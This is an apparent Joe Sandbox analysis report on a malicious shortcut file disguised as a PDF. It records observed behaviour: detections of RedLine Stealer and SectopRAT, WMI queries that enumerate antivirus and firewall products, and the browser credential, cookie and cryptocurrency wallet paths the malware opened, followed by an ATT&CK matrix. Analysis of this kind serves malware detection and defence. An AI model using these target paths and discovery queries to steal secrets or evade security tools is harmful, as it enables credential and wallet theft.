19_2_00BF0722

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00BE416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

19_2_00BE416A

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00BC5D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

19_2_00BC5D13

Source: C:\Windows\System32\OpenSSH\sftp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 23.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2636402975.0000000004238000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2631786260.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2486408621.0000000004008000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2628465496.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2706163073.0000000005300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2477972557.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2477864662.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2628036401.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2706323097.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2711167576.0000000004958000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: updater.exe PID: 8112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AutoIt3.exe PID: 5840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 4448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AutoIt3.exe PID: 6764, type: MEMORYSTR

Yara detected SectopRAT

Source: Yara match

File source: Process Memory Space: InstallUtil.exe PID: 5004, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Source: updater.exe	Binary or memory string: WIN_81
Source: updater.exe	Binary or memory string: WIN_XP
Source: updater.exe	Binary or memory string: WIN_XPe
Source: updater.exe	Binary or memory string: WIN_VISTA
Source: updater.exe	Binary or memory string: WIN_7
Source: updater.exe	Binary or memory string: WIN_8
Source: AutoIt3.exe, 00000018.00000003.2705318551.0000000005146000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 23.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2636402975.0000000004238000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2631786260.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2486408621.0000000004008000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2628465496.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2706163073.0000000005300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2477972557.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2477864662.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2628036401.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2706323097.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2711167576.0000000004958000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: updater.exe PID: 8112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AutoIt3.exe PID: 5840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 4448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AutoIt3.exe PID: 6764, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 23.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2636402975.0000000004238000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2631786260.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2486408621.0000000004008000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2628465496.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2706163073.0000000005300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2477972557.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2477864662.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2628036401.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2706323097.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2711167576.0000000004958000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: updater.exe PID: 8112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AutoIt3.exe PID: 5840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 4448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AutoIt3.exe PID: 6764, type: MEMORYSTR

Yara detected SectopRAT

Source: Yara match

File source: Process Memory Space: InstallUtil.exe PID: 5004, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C2696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		19_2_00C2696E
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C26E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		19_2_00C26E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 Create Account	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	13 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	1 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	169 System Information Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	111 Masquerading	LSA Secrets	261 Security Software Discovery	SSH	3 Clipboard Data	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	251 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk